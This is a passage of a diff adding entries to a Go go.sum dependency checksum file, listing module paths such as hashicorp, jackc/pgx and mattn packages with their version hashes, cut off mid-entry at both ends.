+github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= +github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= +github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= +github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= +github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= +github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= +github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= +github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= +github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= +github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= +github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= +github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= +github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= +github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= +github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= +github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= +github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= +github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= +github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= +github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= +github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= +github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= +github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= +github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= +github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= +github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA= +github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE= +github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s= +github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o= +github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY= +github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI= +github.com/jackc/pgconn v1.12.1 h1:rsDFzIpRk7xT4B8FufgpCCeyjdNpKyghZeSefViE5W8= +github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono= +github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE= +github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= +github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE= +github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c= +github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= +github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= +github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= +github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= +github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= +github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= +github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgproto3/v2 v2.3.0 h1:brH0pCGBDkBW07HWlN/oSBXrmo3WB0UvZd1pIuDcL8Y= +github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= +github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg= +github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E= +github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg= +github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc= +github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw= +github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM= +github.com/jackc/pgtype v1.11.0 h1:u4uiGPz/1hryuXzyaBhSk6dnIyyG2683olG2OV+UUgs= +github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4= +github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y= +github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM= +github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc= +github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs= +github.com/jackc/pgx/v4 v4.16.1 h1:JzTglcal01DrghUqt+PmzWsZx/Yh7SC/CTQmSBMTd0Y= +github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ= +github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= +github.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= +github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8= +github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo= +github.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= +github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= +github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= +github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= +github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= +github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= +github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= +github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/reflectwalk v1.0.2/go.mod 